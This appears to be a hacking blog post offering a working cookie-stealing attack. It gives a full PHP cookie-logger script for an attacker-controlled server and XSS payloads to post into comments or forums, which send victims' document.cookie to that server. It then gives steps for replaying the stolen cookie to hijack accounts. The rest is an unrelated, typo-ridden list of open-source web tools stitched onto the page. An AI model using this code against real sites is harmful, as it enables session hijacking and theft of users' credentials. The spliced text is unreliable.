Blogger Widgets
Cookies Stealing
Here we show how you can hack a session using javascript and php.Everyone knows what XSS is, right? Good, I’ll spare you the definition. A common use for XSS is stealing cookies to hijack sessions and gain access to restricted web content. Cookie stealing is typically done by forcing a target’s browser to issue some sort of GET request to a server controlled by the attacker which accepts the target’s cookie as a parameter and processes it in some way. In most cases, when a cookie stealing XSS attack is successful, it generates a visual clue which can tip off the target. While it is too late at this point, stealth has been compromised, and could be the difference between the user keeping the session active, or clicking ‘log out’ and rendering your stolen cookie invalid.
Cookies Stealing And Session Hijacking
What is a cookie?
A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged every time it accesses the server. A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time. Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.
Cookies Stealing
What can we do after stealing cookie?
Well,as we know web sites authenticate their user’s with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.
This is a cookie stealing script that steals the cookies of a user and store them in a text file, these cookied can later be utilised.
PHP Code:
<?php
function GetIP()
{
if (getenv(“HTTP_CLIENT_IP”) && strcasecmp(getenv(“HTTP_CLIENT_IP”), “unknown”))
$ip = getenv(“HTTP_CLIENT_IP”);
else if (getenv(“HTTP_X_FORWARDED_FOR”) && strcasecmp(getenv(“HTTP_X_FORWARDED_FOR”), “unknown”))
$ip = getenv(“HTTP_X_FORWARDED_FOR”);
else if (getenv(“REMOTE_ADDR”) && strcasecmp(getenv(“REMOTE_ADDR”), “unknown”))
$ip = getenv(“REMOTE_ADDR”);
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], “unknown”))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = “unknown”;
return($ip);
}
function logData()
{
$ipLog=”log.txt”;
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get(‘register_gobals’);
if ($register_globals) $ip = getenv(‘REMOTE_ADDR’);
else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date (“l dS of F Y h:i:s A”);
$log=fopen(“$ipLog”, “a+”);
if (preg_match(“/\bhtm\b/i”, $ipLog) || preg_match(“/\bhtml\b/i”, $ipLog))
fputs($log, “IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie
“);
else
fputs($log, “IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n”);
fclose($log);
}
logData();
?>
Save the script as a cookielogger.php on your server. (You can get any free webhosting easily such as justfree,x10hosting etc..)
Create an empty text file log.txt in the same directory on the webserver. The hijacked/hacked cookies will be automatically stored here.

Cookies Stealing
Now for the hack to work we have to inject this piece of javascript into the target’s page. This can be done by adding a link in the comments page which allows users to add hyperlinks etc. But beware some sites don't allow javascript so you gotta be lucky to try this.The best way is to look for user interactive sites which contain comments or forums.
Post the following code which invokes or activates the cookie logger on your host.
Code:
<script language=”Java script”>
document.location=”http://www.yourhost.com/cookielogger.php?cookie=" + document.cookie;
</script>
You can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.
Code:
<a href=”java script:document.location=’http://www.yourhost.com/cookielogger.php?cookie=’+document.cookie;”>Click here!</a>
Clicking an image also can activate the script. For this purpose you can use the below code.
Code:
<a href=”java script:document.location=’http://www.yourhost.com/cookielogger.php?cookie=’+document.cookie;”>
<img src=”URL OF THE IMAGE”/></a>
All the details like cookie, ipaddress, browser of the victim are logged in to log.txt on your hostserver. In the above codes please remove the space in between javascript.

Hijacking the Session:
Now we have cookie, what to do with this..? Download cookie editor mozilla plugin or you may find other plugins as well.Go to the target site–>open cookie editor–>Replace the cookie with the stolen cookie of the victim and refresh the page. Thats it!!! you should now be in the victim's account.

1. Aptana Studio
• It supports latest Web technologies like HTML5 , CSS3, JavaScript,
Ruby on Rails, PHP, Python with information about the level of supports
for each element major Web Browsers.
• Syntax highlighting, auto- completion of code.
• Git integration
• Inbuilt deployment wizard to help pubils your Web application.
• Integrated debugger - the most important component of an IDE, lets you set breakpoint, variables and control execution.
• Build- in terminal to access OS commands.
2. Komodo Edit
• Also supports Cloud-based projects
• It uses the Mozilaa code-base, along with Scintilla. Also have a
Firefox type extention system for finding and installing add-ons.
• Suppots python, Perl, PHP, Ruby, HTML5, CSS3, JavaScripts, SQL, Tcl, XML.
• Syntax highlighting, auto- completion of code and call tips.
• Has added supports Node.js, CoffeeScripts, LESS, SCSS, EJS and epMojo.
• Has a inbulit FTP clients lets you access remotly hosted files
without having to create a project or download an entire directory tree.
If Firefox is your browser of choice, you would feel right at home with
Komodo.(Cyber Elite)
3. NetBeans
• It started as an IDE for Java programming, but now you can create
professional desktop, enterprise, Web, and mobile application with java
as well as C/C++, PHP, JavaScript, Groovy and Ruby.
• Is also know for its great Debugging.
4. Drupal
• Is just as Wordpress and Joomla. It lacks high-quality themes like
those available for the others two CMS, but it is unique in its own way,
and preferred for its good technique design and mantainability.
• Getting static pages on a Drupal site is easier than in Wordpress and Joomla.
• The Drupal module for social media integration is easier to work with than its counterpart for Wordpress or Joomla.
• Ubercart, the e-commerce tools for Drupal is excellent. You might
have a trouble working with the e-commerce tools for WordPress or
Joomla.
• Drupal, being old has grown a lot and has a large
community base, so you'll not be alone.Community support is very good in
my experience.

5. MySQL
• Is the most powerful and popular database and hardly needs introduction.
• However, its enterprise version is not free, but compared to other
enterprise solution, it is still the best choice for its price and the
supprot is awesome.
• The free version of MySQL servers as the foundation for the CMS and various other software.
• You can administer the database using the command-line utility mysql , with dozens of command for effective managment.
• You acn integrate it with the PHP, Java and other programmming languages to make an effective application.(Cyber Elite)
• You can use MySQL, Workbench which is a GUI tool for integration of
database design, administration and maintenance into a single IDE for
the MySQL database system.
6. Apache Web Server
• Popular WebServer since April 1996 and hosts nearly 60% of Web domains.
• Though devloped for UNIX -like OS's it also runs on Windos, Mac OS X and others.
• Common languages interface support PHP, Perl, Tcl and Python.
• Virtual hosting allows one Apache installation to server many differnt websites.
• Supports password authentication and digital certification authentication.(Cyber Elite)
• As its source code is available, you can modify it according to your needs, if you know what you are doing.
• Other features include Secure Sockets Layers, Transport layer Security support, a URL re-writer and custom log files.
7. Apache Tomcat
• As stated by its website, Apache TomCat is an open Source software
implementation of the Java Script and Java Server Page technologies.
• TomCat should not be confused with the Apache Server. TomCat is a Web
conatiner that servers Web pages written in Java, while Apache is an
HTTP server written in C.
• I have used it with Eclipse IDE,
and I can vouch for the fact tha it is pure plug-and-play; no
hard-and-fast configuration is needed.
8. Inkscape
• Inkscape is a vector- based graphics application, and by far the most
popular open source options for a graphics tools if you aim to decorate
your Website.
• The programe supports the standard Scalable Vector Graphics (SVG) file format, as well as many others.
• It imports files from many formats, including .jpg .png .tif and
others, and exports to numerous vector-basd formats and .png.
•
Dont compare it with its proprietary counterparts, as they are more
powerful but among free tools Inkscape is the Best and is being developed
further.
9. FileZilla
• Fre and Open source FTP, FTPS and SFTP clients. Also available as a
server if you want to make file available to others, but this works only
for Windows.
• Create in January 2001 by Tim Klosse as a class
project, Filezilla has gone on to become the fifth most important
popular download of all time from SourceForge.net
• Supprots FTP,FTP over SSL/TLS(FTPS) and SSH File Transfer Protocol (SFTP) (Cyber Elite)
• Being Cross Platform it runs on Windows , Linux, *BSD , Mac OS X and more.
• Supports resume and transfer of files larger than 4 GB.
• IPv6 support.
• Configurable transfer speed limits.
• Network configuration wizard.
• HTTP/1.1 ,SOCKS5 and FTP-Proxy supports.
• Synchronised directory browsing.
• But, your IDE lacks an in-builts FTP client for deploying websites.
10. XAMPP
• If you want to install a full LAMP or WAMP stack, it's hard to
configure them all and get the site live. XAMMP has changed this, with a
simple easy-to-install Apache distribution conataining MySQL, PHP,
Pearl for quickly setting up a devlopment envirnoment locally.
• XAMMP is supported on multiple OS : Windows , Linux, Solaris , Mac OS X
• It is designed with the Web devlopers in mind, giving you the power
and flexibility of a test Web Server without the hassle of setting up a
dedicated box running a special server operating system, just for site
testing.
• When it comes to throwing a server out into the
wild, however proper hardened security is a must and operating system
designed specifically for server should be used for public facing
production sites, instead of XAMPP.So. the simple advice is to give
XAMPP to stay confine in an internal LAN

P/S-Just click on the Open Source name to begin downloading
-----Thanks For Visiting----